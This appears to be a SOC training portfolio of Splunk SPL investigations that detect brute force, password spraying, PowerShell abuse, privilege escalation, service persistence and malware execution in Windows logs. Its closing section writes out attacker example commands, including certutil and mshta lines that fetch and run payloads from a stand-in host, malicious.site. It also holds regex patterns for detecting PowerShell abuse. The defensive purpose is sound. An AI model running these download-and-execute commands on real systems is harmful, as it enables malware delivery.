This project demonstrates how to upload and analyze logs using Splunk SIEM.
- Log ingestion
- Search & Reporting
- Alerting
- Splunk Enterprise
- Windows Logs
- Install Splunk
- Add data
- Search logs using:
index=main
Here, the main index is used because it is the default index in Splunk Enterprise. Splunk also provides an option to create separate custom indexes for organizing different types of log data.
Detect brute-force login attempts using Splunk SIEM by analyzing failed and successful login events.
index=main EventCode=4625
| stats count by src_ip
- This query shows the count of failed login attempts based on source IP addresses.
index=main EventCode=4624
| stats count by src_ip
-This query shows the count of successful login attempts based on source IP addresses.
index=main status=failed user=administrator src_ip=45.67.210.12 OR index=main status=failed (src_ip=45.67.210.12 OR src_ip=77.120.10.88)
-This query displays failed login events for the user administrator from the source IP address 45.67.210.12.
index=main status=failed
| bucket span=5m _time
| stats count by _time, user, src_ip
| where count > 5
-This alert detects more than 5 failed login attempts from the same source IP against a user within 5 minutes.
In the uploaded dataset, two suspicious IP addresses were identified performing multiple brute-force login attempts against user accounts.
-45.67.210.** (Count of failed attempts = 80) -77.120.10.** (Count of failed attempts = 40)
-Multiple failed login attempts were detected from suspicious IP addresses.
-Repeated authentication failures indicate brute-force attack behavior.
-Suspicious activity targeted user authentication services.
-The investigation successfully identified brute-force attack attempts using Splunk SIEM. Detection queries and alert rules were created to monitor repeated failed authentication attempts and suspicious login activity.
-The objective of this investigation is to detect successful brute-force login attacks using Splunk SIEM by identifying multiple failed login attempts followed by a successful authentication event from the same source IP address.
-Authentication logs were analyzed in Splunk to identify suspicious login activity. The investigation focused on detecting attackers attempting repeated password guessing attacks against user accounts.
index=bruteforce EventCode=4625
-Displays all failed login events.
index=bruteforce EventCode=4624
-Displays all successful login events.
index=bruteforce EventCode=4625
| stats count by src_ip
-Shows the number of failed login attempts from each source IP address.
index=bruteforce EventCode=4624
| stats count by src_ip
-Shows the number of successful login attempts from each source IP address.
index=bruteforce EventCode=4625 src_ip=45.67.210.12
-Displays failed login attempts originating from a suspicious IP address.
index=bruteforce (EventCode=4624 OR EventCode=4625)
| transaction user src_ip maxspan=5m
| search EventCode=4624 EventCode=4625
| where eventcount > 5
-Detects multiple failed login attempts followed by a successful login from the same source IP and user within 5 minutes.
-45.67.210.** (Count of failed attempts = 133) -77.120.10.** (Count of failed attempts = 139)
-Multiple failed authentication attempts were detected from suspicious IP addresses.
-Successful authentication after repeated failures indicates possible account compromise.
-Brute-force attack behavior was successfully identified using Splunk SIEM.
-The investigation successfully identified successful brute-force attack activity using Splunk SIEM using custom authentication logs and SPL queries.
-The objective of this investigation is to detect password spraying attacks using Splunk SIEM by identifying a single source IP attempting failed authentication attempts against multiple user accounts within a short period of time.
-Authentication logs were uploaded into Splunk and analyzed using SPL queries. The investigation focused on identifying suspicious login behavior where one source IP attempted to authenticate against several user accounts using incorrect credentials.
index=pass-spray EventCode=4625
-Displays all failed authentication events.
index=pass-spray EventCode=4624
-Displays all successful authentication events.
index=pass-spray EventCode=4625
| stats count by src_ip
| sort - count
-Displays source IP addresses generating the highest number of failed login attempts.
index=pass-spray EventCode=4625
| stats dc(user) as targeted_users count by src_ip
| where targeted_users > 5 AND count > 15
| sort - count
-Detects a single source IP attempting failed logins against multiple user accounts.
index=pass-spray EventCode=4625
| stats values(user) as targeted_users by src_ip
-Displays the user accounts targeted by each source IP address.
index=pass-spray src_ip=88.45.12.9
-Displays all authentication activity related to the suspicious source IP address.
index=pass-spray src_ip=88.45.12.9 (EventCode=4624 OR EventCode=4625)
| table _time EventCode user src_ip
| sort _time
-Displays failed authentication attempts followed by a successful login from the suspicious source IP.
index=pass-spray src_ip=88.45.12.9 EventCode=4624
| stats count by user
-Identifies the user account successfully authenticated from the malicious source IP.
Source IP | Activity 88.45.12.9 | Password spraying attempts against multiple user accounts
-Multiple failed login attempts were detected from a single source IP address.
-The attacker targeted several user accounts within a short period of time.
-Authentication behavior matched password spraying attack patterns.
-A successful login event was observed after repeated failed attempts.
-The compromised user account was identified through successful authentication events.
-The suspicious source IP responsible for the attack activity was successfully identified.
-The investigation successfully identified password spraying activity using Splunk SIEM. SPL queries and authentication log analysis helped detect suspicious login behavior, identify malicious source IPs, determine targeted user accounts, and detect successful compromise attempts.
-The objective of this investigation is to detect suspicious PowerShell abuse activity using Splunk SIEM by analyzing Windows authentication and process creation logs to identify malicious PowerShell execution techniques, successful compromise attempts, privileged account usage, and account lockout activity.
-Authentication and process creation logs were uploaded into Splunk and analyzed using SPL queries.
-The investigation focused on identifying suspicious PowerShell execution activity commonly used by attackers after successful compromise.
-Multiple PowerShell abuse techniques were detected including EncodedCommand execution, DownloadString payload activity, Invoke-WebRequest usage, and ExecutionPolicy Bypass attempts.
-The investigation also identified successful compromise activity, privileged logon events, and account lockout activity related to suspicious source IP addresses.
index=main EventCode=4688 process=powershell.exe
-Displays all PowerShell process execution events.
index=main EventCode=4688 process=powershell.exe
| stats count
-Counts total PowerShell execution events.
index=main EventCode=4688 process=powershell.exe
| stats count by user
| sort -count
-Displays users executing PowerShell most frequently.
index=main EventCode=4688 process=powershell.exe EncodedCommand
-Detects suspicious EncodedCommand execution.
-Attackers commonly use EncodedCommand to hide malicious payloads and evade detection.
index=main EventCode=4688 process=powershell.exe
| search command="*ExecutionPolicy Bypass*"
-Detects attempts to bypass PowerShell security restrictions.
index=main EventCode=4688 process=powershell.exe
| search command="*DownloadString*"
-Detects suspicious payload download activity using PowerShell.
index=main EventCode=4688 process=powershell.exe
| search command="*Invoke-WebRequest*"
-Detects PowerShell web request activity commonly used by attackers.
index=main EventCode=4688 process=powershell.exe
| regex command="(?i)(encodedcommand|downloadstring|invoke-webrequest|executionpolicy bypass)"
-Detects multiple suspicious PowerShell abuse indicators together.
index=main EventCode=4688 process=powershell.exe
| stats count by src_ip
| sort -count
-Displays source IP addresses generating suspicious PowerShell activity.
index=main src_ip="45.67.210.12" (EventCode=4624 OR EventCode=4688)
| table _time EventCode user src_ip process command status
| sort _time
-Displays successful compromise activity followed by suspicious PowerShell execution.
-Successful login activity was observed.
-Suspicious PowerShell execution occurred after successful authentication.
-Encoded PowerShell commands were executed.
-Payload download behavior was identified.
index=main src_ip="45.67.210.12" (EventCode=4624 OR EventCode=4625)
| table _time EventCode user src_ip status
| sort _time
-Displays failed login attempts followed by successful authentication from the same suspicious source IP address.
index=main src_ip="45.67.210.12" EventCode=4624
| stats count by user
-Identifies successfully authenticated user account from the suspicious source IP.
index=main EventCode=4672
| stats count by user,src_ip
| sort -count
-Detects privileged account logon activity after successful compromise.
-Attackers commonly attempt privileged access after compromising valid credentials.
index=main src_ip="45.67.210.12" EventCode=4672
| table _time user src_ip privileges status
-Displays privileged logon activity associated with the suspicious source IP.
index=main EventCode=4740
| stats count by user,src_ip
| sort -count
-Detects account lockout events caused by repeated failed login attempts.
index=main EventCode=4740
| table _time user src_ip status
| sort _time
-Displays locked user accounts and related source IP addresses.
index=main EventCode=4688 process=powershell.exe
| regex command="(?i)(encodedcommand|downloadstring|invoke-webrequest|executionpolicy bypass)"
| stats count by user,src_ip,command
| sort -count
-EncodedCommand execution
-DownloadString usage
-Invoke-WebRequest activity
-ExecutionPolicy Bypass attempts
-Suspicious PowerShell abuse behavior
index=main EventCode=4688 process=powershell.exe
| regex command="(?i)(encodedcommand|downloadstring|invoke-webrequest|executionpolicy bypass)"
-Suspicious PowerShell activity was successfully detected.
-Encoded PowerShell commands were identified.
-Execution policy bypass attempts were detected.
-PowerShell download activity was observed.
-Successful compromise activity occurred before PowerShell abuse.
-Privileged logon events were detected after successful authentication.
-Account lockout activity indicated repeated failed login attempts.
-The suspicious source IP and compromised user account were successfully identified.
-Authentication and process creation logs helped build a complete attack timeline.
-The investigation successfully identified suspicious PowerShell abuse activity using Splunk SIEM.
-SPL queries and Windows process creation logs helped detect attacker behavior, identify compromised systems, analyze suspicious command execution, detect privileged access attempts, and identify account lockout activity.
-The investigation demonstrated realistic SOC analyst workflows including authentication analysis, PowerShell abuse detection, privileged access monitoring, attack timeline investigation, and alert creation.
-Detect RDP brute-force attacks by analyzing failed and successful RDP authentication events and identifying malicious source IPs.
index=rdp-bruteforce EventCode=4624
| stats count by src_ip
| sort - count
-Displays source IPs generating successful RDP logins. -Helps establish a baseline of legitimate RDP activity.
index=rdp-bruteforce EventCode=4625
| stats count by src_ip
| sort - count
-Displays source IPs generating failed RDP logins. -High counts may indicate brute-force activity.
index=rdp-bruteforce (EventCode=4624 OR EventCode=4625)
| stats count by src_ip EventCode
-Shows successful and failed login counts per source IP.
index=rdp-bruteforce EventCode=4625 LogonType=10
| stats count by src_ip
| sort - count
-The IP with the highest failed RDP attempts is the primary suspect.
index=rdp-bruteforce src_ip=185.199.110.77
| table _time EventCode user src_ip dest_ip dest_port hostname status
| sort _time
-Displays the complete activity timeline of the suspicious IP.
index=rdp-bruteforce src_ip=185.199.110.77 EventCode=4625
| stats values(user) as targeted_users
-Shows all accounts targeted during the attack.
index=rdp-bruteforce src_ip=185.199.110.77
| table _time EventCode user status
| sort _time
index=rdp-bruteforce src_ip=185.199.110.77 EventCode=4624
| stats count by user
-Identifies the account that was successfully accessed.
index=rdp-bruteforce EventCode=4625 LogonType=10
| bucket span=5m _time
| stats count by _time src_ip user
| where count > 10
-Detects more than 10 failed RDP login attempts from the same IP within 5 minutes.
-Multiple failed RDP authentication attempts were detected.
-Source IP 185.199.110.77 generated the highest number of failed logins.
-The attacker targeted the administrator account.
-Activity occurred over RDP (LogonType=10, dest_port=3389).
-A successful login (4624) was observed after repeated failures.
-The compromised account was identified through successful authentication events.
-The investigation confirmed an RDP brute-force attack where a malicious source IP performed multiple failed RDP authentication attempts against a target system and eventually obtained successful access to the administrator account. This activity indicates potential unauthorized remote access and should be escalated for containment and remediation.
Note: Normal login activity is present in the dataset, while RDP brute-force attempts are identified by LogonType=10 and dest_port=3389, showing multiple failed logins followed by a successful compromise from the same source IP.
-Detect privilege escalation activity by identifying suspicious logins, privileged account assignments, account creation events, and administrator group membership changes.
-Windows authentication and privilege-related logs were analyzed to identify unauthorized privilege escalation activity. The investigation focused on detecting elevated privileges, newly created accounts, administrator group modifications, and suspicious source IP activity.
index=privilege-escalation EventCode=4624
| stats count by src_ip
| sort - count
-Displays successful login activity by source IP.
index=privilege-escalation EventCode=4625
| stats count by src_ip
| sort - count
-Displays failed login activity by source IP.
index=privilege-escalation
| stats count by src_ip
| sort - count
-Displays all source IPs by activity count. -Helps identify unusual or suspicious IP addresses.
index=privilege-escalation src_ip=185.199.110.77
| sort _time
-Displays all activity generated by the suspicious source IP.
index=privilege-escalation EventCode=4672
| stats count by user
Displays accounts assigned special privileges.
index=privilege-escalation EventCode=4720
| table _time actor target_user src_ip hostname
Displays newly created user accounts.
index=privilege-escalation EventCode=4732
| table _time actor target_user group src_ip hostname
-Displays users added to the Administrators group.
index=privilege-escalation src_ip=185.199.110.77
| table _time EventCode user actor target_user privilege group src_ip hostname
| sort _time
-Displays the complete privilege escalation sequence.
index=privilege-escalation EventCode=4720
| stats values(target_user) as created_accounts by actor
-Identifies newly created accounts that may be used for persistence.
index=privilege-escalation user=backup_admin EventCode=4624
-Confirms successful login using the newly created administrator account.
index=privilege-escalation (EventCode=4672 OR EventCode=4720 OR EventCode=4732)
| table _time EventCode user actor target_user privilege group src_ip hostname
| sort _time
-Detects privilege assignment, account creation, and administrator group modifications.
-Source IP 185.199.110.77 was identified as suspicious during the investigation.
-User john successfully authenticated from the suspicious source IP.
-Special privileges were assigned to john (EventCode=4672).
-A new account named backup_admin was created (EventCode=4720).
-The newly created account was added to the Administrators group (EventCode=4732).
-The backup_admin account later successfully logged in.
-The activity indicates successful privilege escalation followed by persistence establishment.
10:30:00 EventCode=4624 john logged in from 185.199.110.77 ↓ 10:32:00 EventCode=4672 Special privileges assigned to john ↓ 10:34:00 EventCode=4720 backup_admin account created ↓ 10:35:00 EventCode=4732 backup_admin added to Administrators group ↓ 10:37:00 EventCode=4624 backup_admin successfully logged in
-The investigation identified a privilege escalation attack originating from 185.199.110.77. The attacker obtained privileged access, created a new administrative account (backup_admin), added it to the Administrators group, and successfully logged in using the newly created account. This activity demonstrates both privilege escalation and persistence techniques commonly observed in real-world attacks.
-Detect persistence mechanisms established through Windows service installation by identifying suspicious service creation events and correlating them with compromised user activity.
-Windows authentication and service-related logs were analyzed to identify persistence techniques used by an attacker after gaining privileged access. The investigation focused on detecting newly installed services, suspicious service names, associated user accounts, and the source IP responsible for the activity.
index=service-installation EventCode=4624
| stats count by src_ip
| sort - count
-Displays successful login activity by source IP.
index=service-installation EventCode=4625
| stats count by src_ip
| sort - count
-Displays failed login activity by source IP.
index=service-installation
| stats count by src_ip
| sort - count
-Displays source IPs generating activity in the environment.
index=service-installation EventCode=4697
-Displays all service installation events.
index=service-installation EventCode=7045
-Displays service creation and registration events.
index=service-installation EventCode=4697
| stats count by service_name
-Shows installed services and their occurrence count.
index=service-installation EventCode=4697
| table _time actor service_name service_path src_ip hostname
-Displays details of installed services.
index=service-installation src_ip=185.199.110.77
| sort _time
-Displays all activity from the suspicious source IP.
index=service-installation src_ip=185.199.110.77
| table _time EventCode actor user service_name service_path start_type src_ip hostname
| sort _time
Displays the complete persistence attack timeline.
index=service-installation user=backup_admin
-Displays activity associated with the compromised account.
index=service-installation (EventCode=4697 OR EventCode=7045)
| table _time EventCode actor service_name service_path start_type src_ip hostname
| sort _time
-Detects newly installed services and service creation activity.
index=service-installation EventCode=4697
| stats values(service_path) as path by service_name
- Identifies suspicious service names and executable paths.
-Source IP 185.199.110.77 was identified as suspicious.
-User backup_admin successfully authenticated to the host.
-A service named WindowsUpdateSvc was installed.
-The service was configured for automatic startup.
-A second service named SystemMonitor was later installed.
-Service installation activity originated from the same suspicious source IP.
-The behavior indicates persistence establishment following privilege escalation.
10:30:00 EventCode=4624 backup_admin login ↓ 10:32:00 EventCode=4697 WindowsUpdateSvc installed ↓ 10:33:00 EventCode=7045 Service configured for Auto Start ↓ 10:35:00 EventCode=4624 backup_admin login ↓ 10:37:00 EventCode=4697 SystemMonitor service installed \
-The investigation identified persistence activity originating from 185.199.110.77. After obtaining privileged access through the backup_admin account, the attacker installed multiple Windows services and configured one for automatic startup. This behavior is consistent with persistence techniques used by attackers to maintain long-term access to compromised systems.
Source IP : 185.199.110.77
Hostname : DC01
Compromised User : backup_admin
Service 1 : WindowsUpdateSvc
Service 2 : SystemMonitor
Persistence Type : Windows Service Installation
Event IDs : 4697, 7045
-Detect malware execution activity by identifying suspicious process creation events, PowerShell abuse, payload downloads, and malicious tools executed after persistence has been established on a compromised host.
-Windows process creation and PowerShell logs were analyzed to identify malicious activity performed by an attacker after gaining administrative access. The investigation focused on detecting suspicious processes, encoded PowerShell commands, payload downloads, and identifying the compromised account and source IP.
index=malware-exe EventCode=4624
| stats count by src_ip
| sort - count
-Displays successful login activity by source IP.
index=malware-exe EventCode=4625
| stats count by src_ip
| sort - count
-Displays failed login activity by source IP.
index=malware-exe
| stats count by src_ip
| sort - count
-Displays source IPs generating activity.
-Helps identify abnormal hosts performing malicious actions.
index=malware-exe EventCode=4688
-Displays all executed processes.
index=malware-exe EventCode=4688
| stats count by process_name
| sort - count
-Shows process execution frequency.
index=malware-exe EventCode=4688 process_name=powershell.exe
-Displays PowerShell activity.
index=malware-exe EventCode=4688 process_name=powershell.exe
| search command_line="*EncodedCommand*"
-Detects obfuscated PowerShell commands commonly used by attackers.
index=malware-exe EventCode=4104
-Displays PowerShell Script Block Logging events.
index=malware-exe EventCode=4688 process_name=certutil.exe
-Detects payload download attempts using Certutil.
index=malware-exe EventCode=4688 process_name=rundll32.exe
-Detects DLL execution through Rundll32.
index=malware-exe EventCode=4688 process_name=mshta.exe
-Detects HTA-based malware execution.
index=malware-exe src_ip=185.199.110.77
| sort _time
-Displays all activity performed by the suspicious IP.
index=malware-exe user=backup_admin
| sort _time
-Displays activity performed by the compromised account.
index=malware-exe src_ip=185.199.110.77
| table _time EventCode user process_name command_line src_ip hostname
| sort _time
-Displays the complete malware execution sequence.
index=malware-exe EventCode=4688
| search process_name IN ("powershell.exe","certutil.exe","payload.exe","rundll32.exe","mshta.exe")
| table _time user process_name command_line src_ip hostname
| sort _time
-Detects commonly abused attacker tools and malware processes.
-Source IP 185.199.110.77 was identified as suspicious.
-The compromised account backup_admin executed multiple suspicious processes.
-PowerShell was executed using an encoded command.
-Certutil was used to download a payload from a remote location.
-A malicious executable (payload.exe) was launched.
-Rundll32 was used to execute a DLL payload.
-Mshta was used to execute a remote HTA file.
-The activity indicates malware execution following successful persistence establishment.
10:30:00 EventCode=4624 backup_admin login
↓
10:32:00 EventCode=4688 powershell.exe (Encoded Command)
↓
10:33:00 EventCode=4104 PowerShell Script Executed
↓
10:34:00 EventCode=4688 certutil.exe downloads payload
↓
10:35:00 EventCode=4688 payload.exe executed
↓
10:37:00 EventCode=4688 rundll32.exe launched
↓
10:39:00 EventCode=4688 cmd.exe executed
↓
10:41:00 EventCode=4624 backup_admin login
↓
10:43:00 EventCode=4688 mshta.exe launched
↓
10:45:00 EventCode=4688 powershell.exe executed
-The investigation identified malware execution activity originating from 185.199.110.77 using the compromised account backup_admin. The attacker leveraged PowerShell, Certutil, Rundll32, and Mshta to download and execute malicious payloads. These activities indicate active post-compromise malware execution and represent a significant security risk requiring immediate containment and remediation.
Source IP : 185.199.110.77
Hostname : DC01
Compromised User : backup_admin
Suspicious Processes:
- powershell.exe
- certutil.exe
- payload.exe
- rundll32.exe
- mshta.exe
Event IDs:
- 4688 (Process Creation)
- 4104 (PowerShell Script Block Logging)
Attack Stage: Malware Execution / Post-Exploitation
-After successfully gaining access and establishing persistence on the system, attackers typically execute malicious tools and payloads to expand control over the compromised host. Malware execution is one of the most critical stages of an attack because it allows the attacker to perform actions such as downloading additional malware, stealing credentials, moving laterally, or preparing for data exfiltration.
--In this scenario, the attacker uses the compromised account backup_admin to execute several suspicious processes commonly abused in real-world attacks:
- PowerShell Execution
-The attacker launches powershell.exe with an encoded command to hide malicious activity and evade detection.
Example:
powershell.exe -EncodedCommand <Base64_String>
Purpose:
Execute malicious scripts
Download payloads
Bypass security controls
Evade detection through obfuscation
- Payload Download Using Certutil
-The attacker uses certutil.exe, a legitimate Windows utility, to download a malicious file from a remote server.
Example:
certutil.exe -urlcache -split -f http://malicious.site/payload.exe payload.exe
Purpose:
Download malware from attacker-controlled infrastructure
Avoid using third-party tools that may trigger security alerts
- Malware Execution
-After downloading the payload, the attacker executes the malware.
Example:
payload.exe
Purpose:
Establish command execution
Deploy ransomware or trojans
Collect credentials
Prepare for lateral movement
- DLL Execution Using Rundll32
-The attacker uses rundll32.exe to execute malicious DLL files.
Example:
rundll32.exe payload.dll,Start
Purpose:
Execute malicious code through a trusted Windows binary
Blend malicious activity with normal system processes
- HTA Execution Using Mshta
-The attacker uses mshta.exe to execute remote HTA files.
Example:
mshta.exe http://malicious.site/dropper.hta
Purpose:
Download and execute additional payloads
Establish persistence
Execute attacker-controlled scripts